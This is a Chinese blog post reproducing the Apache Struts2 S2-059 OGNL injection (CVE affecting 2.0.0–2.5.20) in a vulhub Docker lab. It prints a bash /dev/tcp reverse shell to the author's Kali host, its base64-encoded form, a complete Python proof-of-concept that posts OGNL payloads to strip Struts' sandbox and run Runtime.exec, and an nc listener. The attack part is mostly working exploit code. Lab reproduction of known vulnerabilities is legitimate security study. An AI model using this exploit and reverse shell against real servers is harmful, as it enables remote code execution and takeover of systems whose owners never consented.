struts2 s2-059漏洞复现

声明

好好学习,天天向上

漏洞描述

struts2框架

2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。

影响范围

Struts 2.0.0 – Struts 2.5.20

复现过程

可以下载中间件系列,使用docker搭建

https://github.com/vulhub/vulhub

下载完成后,我这里把文件夹名字改了

cd vulhub-20201028/struts2/s2-05
docker-compose up -d

docker拉取后

浏览器访问

http://192.168.239.129:8080/?id=1

在这里插入图片描述

浏览器访问,F12,查看第一行,发现三三得九被执行

http://192.168.239.129:8080/?id=%25{3*3}

在这里插入图片描述

接下来,开始攻击,由于反弹shell的bash需要经过base64编码,先把反弹shell的代码确定,我这里是反弹到我的kali192.168.239.129

bash -i >& /dev/tcp/192.168.239.139/6666 0>&1

base64编码,编码网站:

http://www.jackson-t.ca/runtime-exec-payloads.html

编码后为

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMzkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

POC脚本(python),这里需要改两个地方,第二行,把IP改成docker启动的struts2的IP,倒数第七行,exec(‘后面到倒数第六行,这里直接把编码后的粘贴进来,注意标点符号’))}",保存为s2-059.py

import requests
url = "http://192.168.239.129:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

kali监听

nc -lvvp 6666

kali执行POC

python s2-059.py

成功反弹shell

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值